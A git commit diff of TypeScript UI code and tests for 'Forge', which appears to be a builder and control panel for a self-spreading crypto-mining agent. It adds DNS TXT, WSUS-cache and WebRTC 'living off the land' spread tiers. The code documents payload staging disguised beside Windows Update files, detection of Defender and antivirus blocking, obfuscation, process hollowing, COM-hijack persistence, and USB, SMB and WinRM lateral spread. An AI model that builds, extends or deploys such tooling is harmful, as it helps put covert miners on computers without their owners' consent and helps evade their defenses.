Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
64
server/web/src/help/accessDepth.test.ts
Normal file
64
server/web/src/help/accessDepth.test.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from './accessDepth';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
function agent(partial: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'x',
|
||||
name: 'n',
|
||||
wallet: '',
|
||||
ip: '1.1.1.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('parseAccessDepthServerPolicy', () => {
|
||||
it('reads lotl_onion_tiers and triple onion from config', () => {
|
||||
const p = parseAccessDepthServerPolicy({
|
||||
server: {
|
||||
lotl_onion_tiers: ['docker', 'smb'],
|
||||
triple_onion_policy: { recon_tiers: ['a'], deploy_lanes: ['b'] },
|
||||
},
|
||||
});
|
||||
expect(p.lotl_onion_tiers).toEqual(['docker', 'smb']);
|
||||
expect(p.triple_onion?.recon_tiers).toEqual(['a']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel pending chain', () => {
|
||||
it('marks skipped tiers and pending remainder', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
agent({ platform: 'windows' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['a', 'b', 'c'],
|
||||
tier_chain_skipped: ['a'],
|
||||
lotl_attempts: [{ tier: 'b', ok: false, error: 'nope' }],
|
||||
}),
|
||||
);
|
||||
expect(model.pendingTiers).toEqual(['c']);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'a')?.status).toBe('skipped');
|
||||
expect(model.failed).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
361
server/web/src/help/accessDepth.ts
Normal file
361
server/web/src/help/accessDepth.ts
Normal file
@@ -0,0 +1,361 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
import type { Agent } from '../types';
|
||||
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Mirrors agent/miner/environment_probe.go */
|
||||
export interface EnvironmentProbes {
|
||||
docker?: boolean;
|
||||
wsl?: boolean;
|
||||
pwsh?: boolean;
|
||||
dotnet?: boolean;
|
||||
gpu?: boolean;
|
||||
av_blocks_exe?: boolean;
|
||||
webview2?: boolean;
|
||||
}
|
||||
|
||||
export interface AccessDepthDiagnostics {
|
||||
environment_probes?: EnvironmentProbes;
|
||||
tier_chain_order?: string[];
|
||||
tier_chain_skipped?: string[];
|
||||
lotl_tier?: string;
|
||||
lotl_attempts?: TierAttempt[];
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
}
|
||||
|
||||
export interface AccessDepthServerPolicy {
|
||||
lotl_onion_tiers?: string[];
|
||||
mining_tier_order?: string[];
|
||||
mining_skip_tiers?: string[];
|
||||
triple_onion?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
}
|
||||
|
||||
export interface ProbeChip {
|
||||
key: string;
|
||||
label: string;
|
||||
ok: boolean;
|
||||
}
|
||||
|
||||
export interface AccessDepthAttemptRow {
|
||||
tier: string;
|
||||
label: string;
|
||||
ok: boolean;
|
||||
error?: string;
|
||||
phase?: string;
|
||||
}
|
||||
|
||||
export interface OnionTierRow {
|
||||
index: number;
|
||||
tier: string;
|
||||
label: string;
|
||||
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
|
||||
}
|
||||
|
||||
export interface AccessDepthModel {
|
||||
platformLabel: string;
|
||||
osLine: string;
|
||||
probes: ProbeChip[];
|
||||
spreadCaps: string[];
|
||||
privilegeHints: string[];
|
||||
activeTier?: string;
|
||||
activeTierLabel?: string;
|
||||
joinLane?: string;
|
||||
succeeded: AccessDepthAttemptRow[];
|
||||
failed: AccessDepthAttemptRow[];
|
||||
inProgressTier?: string;
|
||||
inProgressLabel?: string;
|
||||
pendingTiers: string[];
|
||||
pendingLabels: string[];
|
||||
miningOnion: OnionTierRow[];
|
||||
spreadOnion: OnionTierRow[];
|
||||
tripleOnionSummary?: string;
|
||||
miningOrderSource: 'agent' | 'server' | 'default';
|
||||
}
|
||||
|
||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||
export const DEFAULT_MINING_TIER_ORDER = [
|
||||
'exe_subprocess',
|
||||
'docker_load',
|
||||
'container',
|
||||
'wsl',
|
||||
'ps_inmemory',
|
||||
'cpu_inprocess',
|
||||
'gpu_subprocess',
|
||||
'stratum_direct',
|
||||
] as const;
|
||||
|
||||
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
||||
const DEFAULT_TRIPLE_DEPLOY = [
|
||||
'discover_and_join',
|
||||
'docker',
|
||||
'wsl',
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'smb',
|
||||
'winrm',
|
||||
];
|
||||
|
||||
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const probes: EnvironmentProbes = {};
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
||||
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
||||
}
|
||||
return Object.keys(probes).length > 0 ? probes : undefined;
|
||||
}
|
||||
|
||||
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
|
||||
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
|
||||
const tier_chain_order = Array.isArray(raw.tier_chain_order)
|
||||
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
|
||||
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const lotl_tier =
|
||||
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
|
||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||
undefined;
|
||||
|
||||
return {
|
||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
||||
lotl_tier,
|
||||
lotl_attempts: attempts.length ? attempts : undefined,
|
||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
||||
};
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('win')) return 'Windows';
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
if (p.includes('linux')) return 'Linux';
|
||||
return platform?.trim() || 'Unknown';
|
||||
}
|
||||
|
||||
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
||||
const p = probes ?? {};
|
||||
const chips: ProbeChip[] = [
|
||||
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
||||
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
|
||||
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
|
||||
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
|
||||
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
|
||||
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
|
||||
];
|
||||
if (p.av_blocks_exe === true) {
|
||||
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
|
||||
}
|
||||
return chips.filter((c) => c.ok || probes != null);
|
||||
}
|
||||
|
||||
function spreadCapabilities(agent: Agent): string[] {
|
||||
const caps = agent.capabilities;
|
||||
const out: string[] = [];
|
||||
if (caps?.auto_spread) out.push('auto_spread');
|
||||
if (caps?.mesh_p2p) out.push('mesh_p2p');
|
||||
if (caps?.hole_punch) out.push('hole_punch');
|
||||
if (caps?.process_hollowing) out.push('process_hollowing');
|
||||
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
|
||||
if (caps?.remote_aggressive) out.push('remote_aggressive');
|
||||
return out;
|
||||
}
|
||||
|
||||
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
|
||||
const hints: string[] = [];
|
||||
if (agent.agent_elevated === true) hints.push('elevated');
|
||||
else if (agent.agent_elevated === false) hints.push('standard user');
|
||||
if (agent.defender_rtp === true) hints.push('Defender RTP on');
|
||||
else if (agent.defender_enabled === true) hints.push('Defender on');
|
||||
if (agent.ssh_available === true) hints.push('SSH reachable');
|
||||
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
|
||||
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
|
||||
return hints;
|
||||
}
|
||||
|
||||
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
|
||||
return attempts.map((a) => ({
|
||||
tier: a.tier,
|
||||
label: formatLotlTierLabel(a.tier),
|
||||
ok: a.ok,
|
||||
error: a.error,
|
||||
phase: a.phase,
|
||||
}));
|
||||
}
|
||||
|
||||
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
|
||||
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
|
||||
}
|
||||
|
||||
function resolveMiningOrder(
|
||||
diag: AccessDepthDiagnostics | undefined,
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
|
||||
if (diag?.tier_chain_order?.length) {
|
||||
return {
|
||||
order: diag.tier_chain_order,
|
||||
skipped: diag.tier_chain_skipped ?? [],
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
if (policy?.mining_tier_order?.length) {
|
||||
return {
|
||||
order: policy.mining_tier_order,
|
||||
skipped: policy.mining_skip_tiers ?? [],
|
||||
source: 'server',
|
||||
};
|
||||
}
|
||||
if (agent.chain_order?.length) {
|
||||
return {
|
||||
order: agent.chain_order,
|
||||
skipped: [],
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
return {
|
||||
order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
skipped: diag?.tier_chain_skipped ?? [],
|
||||
source: 'default',
|
||||
};
|
||||
}
|
||||
|
||||
function buildOnionRows(
|
||||
order: string[],
|
||||
skipped: string[],
|
||||
attempts: TierAttempt[],
|
||||
activeTier?: string,
|
||||
): OnionTierRow[] {
|
||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
||||
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
||||
const active = activeTier?.toLowerCase();
|
||||
|
||||
return order.map((tier, i) => {
|
||||
const key = tier.toLowerCase();
|
||||
let status: OnionTierRow['status'] = 'neutral';
|
||||
if (active && key === active) status = 'active';
|
||||
else if (skippedSet.has(key)) status = 'skipped';
|
||||
else if (okSet.has(key)) status = 'done';
|
||||
else if (failSet.has(key)) status = 'failed';
|
||||
else status = 'pending';
|
||||
|
||||
return {
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: formatLotlTierLabel(tier),
|
||||
status,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
function computePendingTiers(
|
||||
order: string[],
|
||||
skipped: string[],
|
||||
attempts: TierAttempt[],
|
||||
): string[] {
|
||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||
const touched = uniqueAttemptTiers(attempts);
|
||||
return order.filter((t) => {
|
||||
const key = t.toLowerCase();
|
||||
return !skippedSet.has(key) && !touched.has(key);
|
||||
});
|
||||
}
|
||||
|
||||
function detectInProgress(
|
||||
agent: Agent,
|
||||
attempts: TierAttempt[],
|
||||
pending: string[],
|
||||
activeTier?: string,
|
||||
): string | undefined {
|
||||
if (agent.status !== 'online') return undefined;
|
||||
if (activeTier) {
|
||||
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
|
||||
if (!lastForActive || !lastForActive.ok) return activeTier;
|
||||
}
|
||||
return pending[0];
|
||||
}
|
||||
|
||||
export function buildAccessDepthModel(
|
||||
agent: Agent,
|
||||
diagnostics?: AccessDepthDiagnostics,
|
||||
policy?: AccessDepthServerPolicy,
|
||||
): AccessDepthModel {
|
||||
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
||||
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
||||
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
||||
const pending = computePendingTiers(order, skipped, attempts);
|
||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||
|
||||
const spreadOrder =
|
||||
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
? policy.lotl_onion_tiers
|
||||
: [...DEFAULT_LOTL_ONION_TIERS];
|
||||
|
||||
const recon = policy?.triple_onion?.recon_tiers?.length
|
||||
? policy.triple_onion.recon_tiers
|
||||
: DEFAULT_TRIPLE_RECON;
|
||||
const deploy = policy?.triple_onion?.deploy_lanes?.length
|
||||
? policy.triple_onion.deploy_lanes
|
||||
: DEFAULT_TRIPLE_DEPLOY;
|
||||
|
||||
const osParts = [platformLabel(agent.platform)];
|
||||
if (agent.os_version) osParts.push(agent.os_version);
|
||||
if (agent.arch) osParts.push(agent.arch);
|
||||
|
||||
return {
|
||||
platformLabel: platformLabel(agent.platform),
|
||||
osLine: osParts.join(' · '),
|
||||
probes: probeChips(diagnostics?.environment_probes, agent),
|
||||
spreadCaps: spreadCapabilities(agent),
|
||||
privilegeHints: privilegeHints(agent, diagnostics),
|
||||
activeTier,
|
||||
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
|
||||
joinLane: agent.join_lane,
|
||||
succeeded: attemptRows(attempts.filter((a) => a.ok)),
|
||||
failed: attemptRows(attempts.filter((a) => !a.ok)),
|
||||
inProgressTier,
|
||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||
pendingTiers: pending,
|
||||
pendingLabels: pending.map(formatLotlTierLabel),
|
||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
|
||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: formatLotlTierLabel(tier),
|
||||
status: 'neutral' as const,
|
||||
})),
|
||||
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
||||
miningOrderSource: source,
|
||||
};
|
||||
}
|
||||
|
||||
export function parseAccessDepthServerPolicy(config: {
|
||||
server?: {
|
||||
lotl_onion_tiers?: string[];
|
||||
triple_onion_policy?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
};
|
||||
}): AccessDepthServerPolicy {
|
||||
const server = config.server;
|
||||
return {
|
||||
lotl_onion_tiers: server?.lotl_onion_tiers,
|
||||
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
triple_onion: server?.triple_onion_policy
|
||||
? {
|
||||
recon_tiers: server.triple_onion_policy.recon_tiers,
|
||||
deploy_lanes: server.triple_onion_policy.deploy_lanes,
|
||||
}
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
@@ -20,7 +20,8 @@ const HELP_TIP_FIELDS = [
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
|
||||
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
|
||||
'com_hijack_persist', 'linux_lotl_mode',
|
||||
'set_alerts', 'set_alert_notifications', 'set_webhook',
|
||||
] as const;
|
||||
|
||||
|
||||
@@ -69,6 +69,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
|
||||
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
|
||||
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
|
||||
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
|
||||
@@ -29,7 +29,7 @@ describe('fleetGroups', () => {
|
||||
|
||||
it('groupsForAgent and primaryGroupForAgent', () => {
|
||||
const groups = [
|
||||
createFleetGroup('G1', '#00f5ff', ['x']),
|
||||
createFleetGroup('G1', '#00e8f5', ['x']),
|
||||
createFleetGroup('G2', '#ff0000', ['x', 'y']),
|
||||
];
|
||||
expect(groupsForAgent(groups, 'x').map((g) => g.name)).toEqual(['G1', 'G2']);
|
||||
|
||||
@@ -9,7 +9,7 @@ export interface FleetGroup {
|
||||
}
|
||||
|
||||
export const FLEET_GROUP_COLORS = [
|
||||
'#00f5ff',
|
||||
'#00e8f5',
|
||||
'#39ff14',
|
||||
'#ff2da6',
|
||||
'#b24bf3',
|
||||
|
||||
@@ -29,7 +29,7 @@ describe('fleetHeatMap', () => {
|
||||
{
|
||||
id: 'g1',
|
||||
name: 'Alpha',
|
||||
color: '#00f5ff',
|
||||
color: '#00e8f5',
|
||||
agentIds: ['a1', 'a2'],
|
||||
createdAt: '2026-01-01T00:00:00Z',
|
||||
},
|
||||
|
||||
@@ -13,6 +13,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
||||
});
|
||||
|
||||
@@ -58,6 +58,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
target_os: 'windows',
|
||||
|
||||
@@ -47,9 +47,20 @@ describe('forgeFormNormalize', () => {
|
||||
|
||||
it('linux target clears Windows-only spread flags', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
|
||||
baseForm({
|
||||
target_os: 'linux',
|
||||
target_arch: 'amd64',
|
||||
winrm_spread: true,
|
||||
dns_txt_spread: true,
|
||||
wsus_cache_peer_spread: true,
|
||||
webrtc_mesh_spread: true,
|
||||
com_hijack_persist: true,
|
||||
})
|
||||
);
|
||||
expect(out.winrm_spread).toBe(false);
|
||||
expect(out.dns_txt_spread).toBe(false);
|
||||
expect(out.wsus_cache_peer_spread).toBe(false);
|
||||
expect(out.webrtc_mesh_spread).toBe(false);
|
||||
expect(out.com_hijack_persist).toBe(false);
|
||||
});
|
||||
|
||||
|
||||
@@ -77,6 +77,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
};
|
||||
@@ -141,6 +144,9 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
next.winrm_spread = false;
|
||||
next.dns_txt_spread = false;
|
||||
next.webrtc_mesh_spread = false;
|
||||
next.wsus_cache_peer_spread = false;
|
||||
next.com_hijack_persist = false;
|
||||
}
|
||||
|
||||
|
||||
@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(11);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(14);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
|
||||
@@ -432,6 +432,23 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
dns_txt_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined,
|
||||
hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined,
|
||||
},
|
||||
wsus_cache_peer_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
|
||||
},
|
||||
webrtc_mesh_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined,
|
||||
hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).',
|
||||
},
|
||||
com_hijack_persist: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
|
||||
@@ -2,14 +2,18 @@ import { describe, it, expect } from 'vitest';
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
|
||||
describe('lotlOnionTiers', () => {
|
||||
it('lists ten tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||
it('lists fourteen tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[6]).toBe('do_peer');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('webrtc_mesh');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
||||
});
|
||||
|
||||
it('documents each tier with hint, definition, and example', () => {
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(14);
|
||||
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
|
||||
// IDs must be a 1:1 match with the canonical tiers array
|
||||
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -8,6 +8,9 @@ export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'do_peer',
|
||||
'wsus_cache_peer',
|
||||
'dns_txt',
|
||||
'webrtc_mesh',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
@@ -91,6 +94,33 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
example:
|
||||
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
|
||||
},
|
||||
{
|
||||
id: 'wsus_cache_peer',
|
||||
label: 'wsus_cache_peer',
|
||||
hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
|
||||
definition:
|
||||
'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
|
||||
example:
|
||||
'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
|
||||
},
|
||||
{
|
||||
id: 'dns_txt',
|
||||
label: 'dns_txt',
|
||||
hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
|
||||
definition:
|
||||
'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
|
||||
example:
|
||||
'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
|
||||
},
|
||||
{
|
||||
id: 'webrtc_mesh',
|
||||
label: 'webrtc_mesh',
|
||||
hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
|
||||
definition:
|
||||
'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
|
||||
example:
|
||||
'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
|
||||
},
|
||||
{
|
||||
id: 'smb',
|
||||
label: 'SMB',
|
||||
|
||||
@@ -33,6 +33,9 @@ describe('reconRisk', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
|
||||
expect(joinLaneLabel('dns_txt')).toBe('DNS TXT');
|
||||
expect(joinLaneLabel('webrtc_mesh')).toBe('WebRTC mesh');
|
||||
expect(joinLaneLabel('wsus_cache_peer')).toBe('WSUS cache');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
|
||||
@@ -74,6 +74,9 @@ const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
do_peer: 'DoSvc peer',
|
||||
wsus_cache_peer: 'WSUS cache',
|
||||
dns_txt: 'DNS TXT',
|
||||
webrtc_mesh: 'WebRTC mesh',
|
||||
bits_curl: 'BITS/curl',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
|
||||
@@ -109,6 +109,9 @@ describe('FIELD_HELP', () => {
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'winrm_spread',
|
||||
'dns_txt_spread',
|
||||
'webrtc_mesh_spread',
|
||||
'wsus_cache_peer_spread',
|
||||
'com_hijack_persist',
|
||||
'linux_lotl_mode',
|
||||
'hole_punch',
|
||||
|
||||
@@ -127,6 +127,12 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
